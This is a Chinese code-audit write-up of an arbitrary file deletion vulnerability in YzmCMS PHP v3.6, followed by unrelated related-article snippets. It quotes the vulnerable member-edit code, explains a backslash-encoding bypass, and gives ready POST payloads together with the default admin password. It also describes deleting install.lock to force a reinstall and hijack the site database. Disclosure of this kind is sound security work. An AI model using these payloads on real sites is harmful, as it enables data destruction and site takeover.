【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析
0x00 环境准备
YzmCMS官网:http://www.yzmcms.com/
程序源码下载:http://pan.baidu.com/s/1pKA4u99
测试网站首页:
0x01 代码分析
1、文件位置: /application/member/controller/member.class.php 第118-132行中:
- public function edit(){
- $userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;
- if(isset($_POST['dosubmit'])){
- if($_POST['password'] == ''){
- unset($_POST['password']);
- }else{
- $_POST['password'] = password($_POST['password']);
- }
- if(isset($_POST['del_userpic']) && $_POST['del_userpic'] == '1'){
- 10. if($_POST['userpic'] != ''){
- 11. $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
- 12. if(is_file($userpic)) @unlink($userpic); //删除头像文件
- 13. $_POST['userpic'] = '';
- 14. }
- 15. }
这段函数中对提交的参数进行处理,当del_userpic满足条件,将userpic进行处理拼接到完整的路径中,然后使用unlink函数进行删除。参数Userpic可控,导致程序在实现上存在任意文件删除漏洞。
2、另外,这里应该是程序作者的一个逻辑缺陷,正常操作userpic并无法删除头像文件,因为这里在路径拼接处理上存在问题:
- $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
- 等价于
- $userpic = YZMPHP_PATH.str_replace("\",'',$_POST['userpic']);
默认情况下,userpic提交的参数为/uploads/201801/18/180118105655915.jpg,这种情况下,“/”被过滤,组成的路径变成uploads20180118180118105655915.jpg,导致程序在实现上并无法正确删除头像文件。
3、如何绕过这种限制?
我们知道“/”被过滤,我们可以使用“\”,url编码%5C,绕过这种限制,提交
\\uploads\\201801\\18\\180118105655915.jpg,即可正常删除图片文件,这里应该是作者的一个逻辑缺陷,导致头像文件删除功能不正常。
0x02 漏洞利用
1、在网站根目录下,新建test.php作为测试文件:
2、利用管理员权限登录后台,可利用默认后台默认账号密码来猜解。
默认后台路径:http://127.0.0.1/admin/index/login.html
管理员默认账号密码均为:yzmcms
构造url连接,可成功删除根目录下的测试文件。
Payload:http://127.0.0.1/member/member/edit/userid/1.html
POST: del_userpic=1&dosubmit=&userpic=%5C%5C1.txt
3、如何进一步利用?
思路:删除\\cache\\install.lock文件,进行cms重装,劫持网站数据库。
Payload:http://127.0.0.1//application/install/index.php
POST:del_userpic=1&dosubmit=&userpic=%5C%5Ccache%5C%5Cinstall.lock
构造这样的请求,即可删除install.lock文件,然后访问
http://127.0.0.1/application/install/index.php 即可进行CMS重装。
0x03 修复建议
1、过滤..,用来防止目录跳转
2、对要删除的文件名进行严格限制
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析的更多相关文章
- 【代码审计】XYHCMS V3.5任意文件删除漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析
0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...
- 【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- dzzoffice 任意文件删除漏洞分析
dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){ $arr=array(); $ ...
- Wordpress4.9.6 任意文件删除漏洞复现分析
第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...
随机推荐
- vue_axios请求封装、异常拦截统一处理
1.前端网络请求封装.异常统一处理 vue中采用axios处理网络请求,避免请求接口重复代码,以及各种网络情况造成的异常情况的判断,采用axios请求封装和异常拦截操作: axios 请求封装 // ...
- Linux下阅读MHT文件
Linux下阅读MHT文件 2016年02月04日 15:11:32 dj0379 阅读数:1769 mht是一种WEB电子邮件档案,用IE选择保存网页类型时可以看到有这一项,其最大优点是所保存的 ...
- ASP.NET Core -中间件(Middleware)使用
ASP.NET Core开发,开发并使用中间件(Middleware). 中间件是被组装成一个应用程序管道来处理请求和响应的软件组件. 每个组件选择是否传递给管道中的下一个组件的请求,并能之前和下一组 ...
- 如何用C#动态编译、执行代码
在开始之前,先熟悉几个类及部分属性.方法:CSharpCodeProvider.ICodeCompiler.CompilerParameters.CompilerResults.Assembly. 一 ...
- 从网上找的Android实用代码,记录备用
1.获取应用程序下所有Activity public static ArrayList<String> getActivities(Context ctx) { ArrayList< ...
- Spark机器学习(11):协同过滤算法
协同过滤(Collaborative Filtering,CF)算法是一种常用的推荐算法,它的思想就是找出相似的用户或产品,向用户推荐相似的物品,或者把物品推荐给相似的用户.怎样评价用户对商品的偏好? ...
- Scala字符串插值
Scala提供了三种字符串插值方式:s,f和raw.1. s字符串插值器简单的说就是解析字符串变量. val name = "Tom" println(s"His nam ...
- BigDecimal四舍五入保留两位小数
import java.math.BigDecimal; import java.text.DecimalFormat; import java.text.NumberFormat; public c ...
- Spring Boot系列——Spring Boot如何启动
Spring Boot启动过程 上篇<Spring Boot系列--5分钟构建一个应用>介绍了如何快速创建一个Spring Boot项目并运行.虽然步骤少流程简单,为开发者省去了很多重复 ...
- gitlab 502 报错
这里从网上查到文章,我这里看了一下我这里是unicorn的问题 说一下情况:这里我们的一个前端修改了大量的打包,并进行了打包.然后提交merge request 分支到master,结果看到页面50 ...